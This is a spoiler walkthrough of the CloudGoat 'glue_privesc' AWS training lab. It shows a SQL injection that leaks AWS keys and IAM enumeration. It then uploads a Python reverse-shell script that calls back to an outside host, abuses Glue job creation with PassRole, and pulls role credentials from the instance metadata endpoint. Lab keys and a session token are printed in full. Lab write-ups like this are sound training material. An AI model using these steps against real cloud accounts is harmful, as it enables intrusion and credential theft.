Warning Spoilers!
This is a write up the CloudGoat scenario glue_privesc and was created by the Best of the Best 12th CGV Team (Yong Siwoo, Park Do Kyu, Park Seo Hyun, Jung Ho Shim, Chae Jinsoo).
Installation
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip3 install -r ./requirements.txt
chmod +x cloudgoat.py
If you run into an issue when installing the requirements you may have to install a newer version of PyYAML.
If your using custom aws profiles use the following command.
./cloudgoat.py config profile
Scenario
The goal of the scenario is to retrieve the value in an AWS parameter store.
./cloudgoat.py create glue_privesc
# cg_web_site_ip = 54.164.185.91
# cg_web_site_port = 5000
Visiting at that URL there is a webpage that shows order data.
When inspecting the monitoring page there is a comment showing the query that is run in the backend
Data query logic : select * from original_data where order_date='{input_date}'
Additionally there is a page to upload data files. http://54.164.185.91:5000/upload
Creating a csv file with the following information
order_data,item_id,price,country_code
2023-11-19,I6506,999.99,US
Upload it to the page and wait 3 minutes 😴
While waiting looking at the form there is a endpoint that uploads to S3.
<form id="upload-form" enctype="multipart/form-data" action="/upload_to_s3" method="post">
<input type="file" name="file" id="file-input">
</form>
Lets try hitting it from the command line.
curl -X POST http://54.164.185.91:5000/upload_to_s3
# .......
Yikes it returns a lot of information, its complaining since we did not submit a file -F '[email protected]'
.
Looking back at the monitoring page we submit a post request to get the order details. Lets see if thats vulnerabile to a SQL injection.
curl -X POST -d 'selected_date=2023-10-01' http://54.164.185.91:5000/
# Returns normal results
curl -X POST -d "selected_date=1' or 1=1--" http://54.164.185.91:5000/
# ....
The outputs of the curl command are shown rendered (Insomnia).
Everything looks fine expect that there are custom inputs that I submitted order_date = 2023-11-19
and what looks to be AWS keys.
Lets that the credentials into our own local shell and enumerate them.
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XUTBAXUNMZ
export AWS_SECRET_ACCESS_KEY=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
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XU3EWMY4TDL",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/cg-glue-admin-glue_privesc_cgid9xpmtof435"
# }
aws iam list-users
# {
# "Users": [
# {
# "Path": "/",
# "UserName": "cg-glue-admin-glue_privesc_cgid9xpmtof435",
# "UserId": "AIDAZ6IIT5XU3EWMY4TDL",
# "Arn": "arn:aws:iam::0123456789:user/cg-glue-admin-glue_privesc_cgid9xpmtof435",
# "CreateDate": "2023-11-19T15:44:27+00:00"
# },
# {
# "Path": "/",
# "UserName": "cg-run-app-glue_privesc_cgid9xpmtof435",
# "UserId": "AIDAZ6IIT5XU2IAJJSTOH",
# "Arn": "arn:aws:iam::0123456789:user/cg-run-app-glue_privesc_cgid9xpmtof435",
# "CreateDate": "2023-11-19T15:44:27+00:00"
# }
# ]
# }
aws iam list-attached-user-policies --user-name cg-glue-admin-glue_privesc_cgid9xpmtof435
# None
aws iam list-user-policies --user-name cg-glue-admin-glue_privesc_cgid9xpmtof435
# {
# "PolicyNames": [
# "glue_management_policy"
# ]
# }
aws iam get-user-policy --user-name cg-glue-admin-glue_privesc_cgid9xpmtof435 --policy-name glue_management_policy
{
"UserName": "cg-glue-admin-glue_privesc_cgid9xpmtof435",
"PolicyName": "glue_management_policy",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"glue:CreateJob",
"iam:PassRole",
"iam:Get*",
"iam:List*",
"glue:CreateTrigger",
"glue:StartJobRun",
"glue:UpdateJob"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "VisualEditor0"
},
{
"Action": "s3:ListBucket",
"Effect": "Allow",
"Resource": "arn:aws:s3:::cg-data-from-web-glue-privesc-cgid9xpmtof435",
"Sid": "VisualEditor1"
}
]
}
}
Looking through the policy it seems that were able to create/update glue jobs and view s3 an S3 bucket.
aws s3 ls cg-data-from-web-glue-privesc-cgid9xpmtof435
# 2023-11-19 12:24:15 65 input.csv
# 2023-11-19 10:44:45 297 order_data2.csv
Original data and what we uploaded
With the IAM permissions we should be able to create our own Glue job. If found this exploit on hacktricks.xyz.
- First create a file called
script.py
and upload it to the form
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("infrasec.sh",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
- Upload it to the S3 bucket
curl -X POST -F '[email protected]' http://54.164.185.91:5000/upload_to_s3
# .....
aws s3 ls cg-data-from-web-glue-privesc-cgid9xpmtof435
# 2023-11-19 12:24:15 65 input.csv
# 2023-11-19 10:44:45 297 order_data2.csv
# 2023-11-19 13:10:28 213 script.py
- On my machine create a NCat listener
nc -lvp 4444
- Create a glue job to run the reverse shell script.
aws glue create-job \
--name privesctest \
--role arn:aws:iam::0123456789:role/ssm_parameter_role \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://cg-data-from-web-glue-privesc-cgid9xpmtof435/script.py"}'
# {
# "Name": "privesctest"
# }
The role was found using the command aws iam list-roles
and then looking for a role than can be assumed by Glue.
- Finally all we need to do is run the job
aws glue start-job-run --job-name privesctest
# {
# "JobRunId": "jr_44597c76d55fe46ab00696c695b998b49e4123b4777e7875f6bfd47390c89710"
# }
On our reverse shell you should see a connection
[X@infrasec ~]$ nc -lvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 107.20.50.246.
Ncat: Connection from 107.20.50.246:39826.
/bin/sh: 0: can't access tty; job control turned off
$
Lets look around on the shell and see if we can find additional IAM permissions or secrets.
$ ls -l
# total 36
# drwxr-xr-x 2 root root 4096 Apr 26 2022 bin
# -rwxr-xr-x 3 root root 5801 Apr 25 2022 blueprint-run-script.py
# drwx------ 2 10000 root 4096 Nov 19 18:14 glue-python-scripts-zjv7wt7v
# drwxr-xr-x 3 root root 4096 Apr 26 2022 lib
# -rw-r--r-- 19 root root 226 Apr 26 2022 pyvenv.cfg
# -rwxr-xr-x 4 root root 9848 Apr 25 2022 runscript.py
aws sts get-caller-identity
# {
# "UserId": "AROAZ6IIT5XUREL62DE5F:GlueJobRunnerSession",
# "Account": "0123456789",
# "Arn": "arn:aws:sts::0123456789:assumed-role/ssm_parameter_role/GlueJobRunnerSession"
# }
curl http://169.254.169.254/
# <h1>404 Not Found</h1>No context found for request
Hitting just the metadata endpoint fails because its using IMDSv2 but when you hit http://169.254.169.254/latest/meta-data/iam/security-credentials/
it returns the role.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# dummy
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
# {"AccessKeyId":"ASIAZ6IIT5XU4JR2MMHI","SecretAccessKey":"PwOpJftIDYYw8ArDLQi3ldt7FzmlWxod1Vwk6DnI","Token":"IQoJb3JpZ2luX2VjEJP//////////wEaCXVzLWVhc3QtMSJIMEYCIQDyJ4dZD6+ZWTsAPoX+FLhQixAEZlAzAHyrfAeqDwRnpAIhANSxu45NH2j4ZjJ5fFrOMy0ynkrdr18Et56wlIddKQv7KtACCNv//////////wEQAhoMNjgzNDU0NzU0MjgxIgz4Bqr9rA633SgiXVUqpAIlWEnfR9uplavSwZ1qahfetOs7pxE5wlaEyqW3P0HaUoABjIQAcqRuyY9QpfFuescHbpICCdvXZFHfxe4TjbzjDyA3JOLyWjTTo9459cADhTWjx5AK0tVM7CbNKRiaiLtiqglF/n/UIvqSt5R4NhWd+GVJEL5RVfBPf+N0LfKjJxdASqyW9CWt6oh48HKjQ4nsyG9t6PX150Ov/+gcb8drrTCieX6tPKIT+DkNDHnR+QxhdduxkcE/iLAiI36YVbxUIKs3j3KA3wd0bdLcNAdeEtugpzqlH+NlXnkenTo9s2vBLlb5bH9srtTgki78HbtN+wcp+u1HK5m+7UpD2CrZQnylmIIFr5DStGGBoa4EL7WTXVjUu/FZdHgw8SBkQmYaZu1KMOWj6aoGOpIBkscyQtMjwCEJTh9Jm5h4BkFMGyxR+BsSsgcRPAY6lhX33YUAfGspccLz7Y6qi40Z2pFLtuI+I+KRRRB/d26TbM+69s8piaAzaEyXHDPFIXNnnAmu8eediyod9NfyKyL9EIDWAtqvL3xgyb9HjhfzghMJv2pNUH5QCKejBL9OeJNpu0g3b7a7PsG8k6hB+JccD68\u003d","Expiration":"2023-11-19T19:20:21.047Z"}
Lets take these to a new local shell. Not replace \u003d
from the end of the session token with the non encoded equals character =
Export the credentials to a another local shell an enumerate the permissions to get the flag.
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU4JR2MMHI
export AWS_SECRET_ACCESS_KEY=PwOpJftIDYYw8ArDLQi3ldt7FzmlWxod1Vwk6DnI
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEJP//////////wEaCXVzLWVhc3QtMSJIMEYCIQDyJ4dZD6+ZWTsAPoX+FLhQixAEZlAzAHyrfAeqDwRnpAIhANSxu45NH2j4ZjJ5fFrOMy0ynkrdr18Et56wlIddKQv7KtACCNv//////////wEQAhoMNjgzNDU0NzU0MjgxIgz4Bqr9rA633SgiXVUqpAIlWEnfR9uplavSwZ1qahfetOs7pxE5wlaEyqW3P0HaUoABjIQAcqRuyY9QpfFuescHbpICCdvXZFHfxe4TjbzjDyA3JOLyWjTTo9459cADhTWjx5AK0tVM7CbNKRiaiLtiqglF/n/UIvqSt5R4NhWd+GVJEL5RVfBPf+N0LfKjJxdASqyW9CWt6oh48HKjQ4nsyG9t6PX150Ov/+gcb8drrTCieX6tPKIT+DkNDHnR+QxhdduxkcE/iLAiI36YVbxUIKs3j3KA3wd0bdLcNAdeEtugpzqlH+NlXnkenTo9s2vBLlb5bH9srtTgki78HbtN+wcp+u1HK5m+7UpD2CrZQnylmIIFr5DStGGBoa4EL7WTXVjUu/FZdHgw8SBkQmYaZu1KMOWj6aoGOpIBkscyQtMjwCEJTh9Jm5h4BkFMGyxR+BsSsgcRPAY6lhX33YUAfGspccLz7Y6qi40Z2pFLtuI+I+KRRRB/d26TbM+69s8piaAzaEyXHDPFIXNnnAmu8eediyod9NfyKyL9EIDWAtqvL3xgyb9HjhfzghMJv2pNUH5QCKejBL9OeJNpu0g3b7a7PsG8k6hB+JccD68
aws sts get-caller-identity
# {
# "UserId": "AROAZ6IIT5XUREL62DE5F:GlueJobRunnerSession",
# "Account": "0123456789",
# "Arn": "arn:aws:sts::0123456789:assumed-role/ssm_parameter_role/GlueJobRunnerSession"
# }
aws ssm describe-parameters
# {
# "Parameters": [
# {
# "Name": "flag",
# "Type": "String",
# "LastModifiedDate": "2023-11-19T10:44:28.102000-05:00",
# "LastModifiedUser": "arn:aws:iam::0123456789:user/aaiken",
# "Description": "this is secret-string",
# "Version": 1,
# "Tier": "Standard",
# "Policies": [],
# "DataType": "text"
# }
# ]
# }
aws ssm get-parameter --name flag
# {
# "Parameter": {
# "Name": "flag",
# "Type": "String",
# "Value": "Best-of-........",
# "Version": 1,
# "LastModifiedDate": "2023-11-19T10:44:28.102000-05:00",
# "ARN": "arn:aws:ssm:us-east-1:0123456789:parameter/flag",
# "DataType": "text"
# }
# }
Cleanup
It might take a while for the scenario to be removed, AWS releases network interfaces from lambda very slowely.
rm script.py
aws glue delete-job --job-name privesctest
./cloudgoat.py destroy glue_privesc